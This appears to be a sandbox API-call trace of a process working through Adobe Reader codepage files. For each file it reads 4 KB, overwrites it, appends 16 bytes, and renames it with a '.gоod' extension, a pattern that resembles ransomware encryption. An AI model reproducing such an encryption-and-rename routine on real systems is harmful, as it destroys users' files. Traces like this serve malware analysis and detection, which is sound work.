[0110.262] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1251.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0110.262] GetFileType (hFile=0x6e4) returned 0x1 [0110.262] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0110.262] GetFileType (hFile=0x6e4) returned 0x1 [0110.262] ReadFile (in: hFile=0x6e4, lpBuffer=0x34910d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceb9c8, lpOverlapped=0x0 | out: lpBuffer=0x34910d0*, lpNumberOfBytesRead=0x1fceb9c8*=0x1000, lpOverlapped=0x0) returned 1 [0110.290] CloseHandle (hObject=0x6e4) returned 1 [0110.290] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT", lpFilePart=0x0) returned 0x63 [0110.290] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0110.290] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1251.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0110.290] GetFileType (hFile=0x6e4) returned 0x1 [0110.290] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0110.290] GetFileType (hFile=0x6e4) returned 0x1 [0110.290] WriteFile (in: hFile=0x6e4, lpBuffer=0x348fdf8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fceba78, lpOverlapped=0x0 | out: lpBuffer=0x348fdf8*, lpNumberOfBytesWritten=0x1fceba78*=0x1010, lpOverlapped=0x0) returned 1 [0110.291] CloseHandle (hObject=0x6e4) returned 1 [0110.291] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT", lpFilePart=0x0) returned 0x63 [0110.291] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT.gоod", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT.gоod", lpFilePart=0x0) returned 0x68 [0110.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9b0) returned 1 [0110.291] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1251.txt"), fInfoLevelId=0x0, lpFileInformation=0x1fceba90 | out: lpFileInformation=0x1fceba90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeba5cd3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3df4645d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2512)) returned 1 [0110.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb970) returned 1 [0110.291] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1251.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1251.TXT.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1251.txt.gоod")) returned 1 [0110.292] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT", lpFilePart=0x0) returned 0x63 [0110.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9f0) returned 1 [0110.292] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1252.txt"), fInfoLevelId=0x0, lpFileInformation=0x350f928 | out: lpFileInformation=0x350f928*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeba5cd3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x2598)) returned 1 [0110.292] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb9b0) returned 1 [0110.292] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT", lpFilePart=0x0) returned 0x63 [0110.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0110.292] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1252.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0110.293] GetFileType (hFile=0x6e4) returned 0x1 [0110.293] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0110.293] GetFileType (hFile=0x6e4) returned 0x1 [0110.293] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x1000 [0110.293] ReadFile (in: hFile=0x6e4, lpBuffer=0x350fda0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceba18, lpOverlapped=0x0 | out: lpBuffer=0x350fda0*, lpNumberOfBytesRead=0x1fceba18*=0x1000, lpOverlapped=0x0) returned 1 [0110.804] CloseHandle (hObject=0x6e4) returned 1 [0110.804] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT", lpFilePart=0x0) returned 0x63 [0110.804] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0110.804] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1252.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0110.804] GetFileType (hFile=0x6e4) returned 0x1 [0110.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0110.804] GetFileType (hFile=0x6e4) returned 0x1 [0110.804] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x2598 [0110.805] WriteFile (in: hFile=0x6e4, lpBuffer=0x38f9328*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fceb938, lpOverlapped=0x0 | out: lpBuffer=0x38f9328*, lpNumberOfBytesWritten=0x1fceb938*=0x10, lpOverlapped=0x0) returned 1 [0110.805] CloseHandle (hObject=0x6e4) returned 1 [0110.806] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT", lpFilePart=0x0) returned 0x63 [0110.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0110.806] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1252.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0110.806] GetFileType (hFile=0x6e4) returned 0x1 [0110.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0110.806] GetFileType (hFile=0x6e4) returned 0x1 [0110.806] ReadFile (in: hFile=0x6e4, lpBuffer=0x38fb618, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceb9c8, lpOverlapped=0x0 | out: lpBuffer=0x38fb618*, lpNumberOfBytesRead=0x1fceb9c8*=0x1000, lpOverlapped=0x0) returned 1 [0110.839] CloseHandle (hObject=0x6e4) returned 1 [0110.839] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT", lpFilePart=0x0) returned 0x63 [0110.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0110.839] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1252.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0110.839] GetFileType (hFile=0x6e4) returned 0x1 [0110.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0110.839] GetFileType (hFile=0x6e4) returned 0x1 [0110.839] WriteFile (in: hFile=0x6e4, lpBuffer=0x38fa340*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fceba78, lpOverlapped=0x0 | out: lpBuffer=0x38fa340*, lpNumberOfBytesWritten=0x1fceba78*=0x1010, lpOverlapped=0x0) returned 1 [0110.839] CloseHandle (hObject=0x6e4) returned 1 [0110.839] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT", lpFilePart=0x0) returned 0x63 [0110.839] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT.gоod", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT.gоod", lpFilePart=0x0) returned 0x68 [0110.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9b0) returned 1 [0110.840] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1252.txt"), fInfoLevelId=0x0, lpFileInformation=0x1fceba90 | out: lpFileInformation=0x1fceba90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdeba5cd3, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3e47d68b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x25a8)) returned 1 [0110.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb970) returned 1 [0110.840] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1252.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1252.txt.gоod")) returned 1 [0110.841] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT", lpFilePart=0x0) returned 0x63 [0110.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9f0) returned 1 [0110.841] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1253.txt"), fInfoLevelId=0x0, lpFileInformation=0x3977af0 | out: lpFileInformation=0x3977af0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdebcbf36, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x23f7)) returned 1 [0110.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb9b0) returned 1 [0110.841] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT", lpFilePart=0x0) returned 0x63 [0110.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0110.841] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1253.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0110.841] GetFileType (hFile=0x6e4) returned 0x1 [0110.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0110.841] GetFileType (hFile=0x6e4) returned 0x1 [0110.841] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x1000 [0110.841] ReadFile (in: hFile=0x6e4, lpBuffer=0x3977f68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceba18, lpOverlapped=0x0 | out: lpBuffer=0x3977f68*, lpNumberOfBytesRead=0x1fceba18*=0x1000, lpOverlapped=0x0) returned 1 [0111.224] CloseHandle (hObject=0x6e4) returned 1 [0111.520] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT", lpFilePart=0x0) returned 0x63 [0111.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0111.520] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1253.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0111.520] GetFileType (hFile=0x20c) returned 0x1 [0111.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0111.521] GetFileType (hFile=0x20c) returned 0x1 [0111.521] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fceba48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fceba48*=0) returned 0x23f7 [0111.521] WriteFile (in: hFile=0x20c, lpBuffer=0x35813a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fceb938, lpOverlapped=0x0 | out: lpBuffer=0x35813a8*, lpNumberOfBytesWritten=0x1fceb938*=0x10, lpOverlapped=0x0) returned 1 [0111.521] CloseHandle (hObject=0x20c) returned 1 [0111.522] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT", lpFilePart=0x0) returned 0x63 [0111.522] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0111.522] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1253.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0111.522] GetFileType (hFile=0x20c) returned 0x1 [0111.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0111.522] GetFileType (hFile=0x20c) returned 0x1 [0111.522] ReadFile (in: hFile=0x20c, lpBuffer=0x35836b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fceb9c8, lpOverlapped=0x0 | out: lpBuffer=0x35836b8*, lpNumberOfBytesRead=0x1fceb9c8*=0x1000, lpOverlapped=0x0) returned 1 [0111.627] CloseHandle (hObject=0x20c) returned 1 [0111.627] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT", lpFilePart=0x0) returned 0x63 [0111.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0111.627] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1253.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0111.627] GetFileType (hFile=0x20c) returned 0x1 [0111.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 [0111.627] GetFileType (hFile=0x20c) returned 0x1 [0111.628] WriteFile (in: hFile=0x20c, lpBuffer=0x33dcf98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fceba78, lpOverlapped=0x0 | out: lpBuffer=0x33dcf98*, lpNumberOfBytesWritten=0x1fceba78*=0x1010, lpOverlapped=0x0) returned 1 [0111.628] CloseHandle (hObject=0x20c) returned 1 [0111.628] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT", lpFilePart=0x0) returned 0x63 [0111.628] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT.gоod", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT.gоod", lpFilePart=0x0) returned 0x68 [0111.628] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9b0) returned 1 [0111.628] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1253.txt"), fInfoLevelId=0x0, lpFileInformation=0x1fceba90 | out: lpFileInformation=0x1fceba90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdebcbf36, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3ebf0c04, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2407)) returned 1 [0111.628] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb970) returned 1 [0111.628] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1253.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1253.TXT.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1253.txt.gоod")) returned 1 [0111.629] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT", nBufferLength=0x105, lpBuffer=0x1fceb520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT", lpFilePart=0x0) returned 0x63 [0111.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb9f0) returned 1 [0111.629] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1254.txt"), fInfoLevelId=0x0, lpFileInformation=0x34190c8 | out: lpFileInformation=0x34190c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdebcbf36, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x258f)) returned 1 [0111.629] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb9b0) returned 1 [0111.629] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT", nBufferLength=0x105, lpBuffer=0x1fceb3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT", lpFilePart=0x0) returned 0x63 [0111.629] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fceb8f0) returned 1 [0111.629] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1254.TXT" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\resource\\typesupport\\unicode\\mappings\\win\\cp1254.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0111.630] GetFileType (hFile=0x20c) returned 0x1 [0111.630] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceb860) returned 1 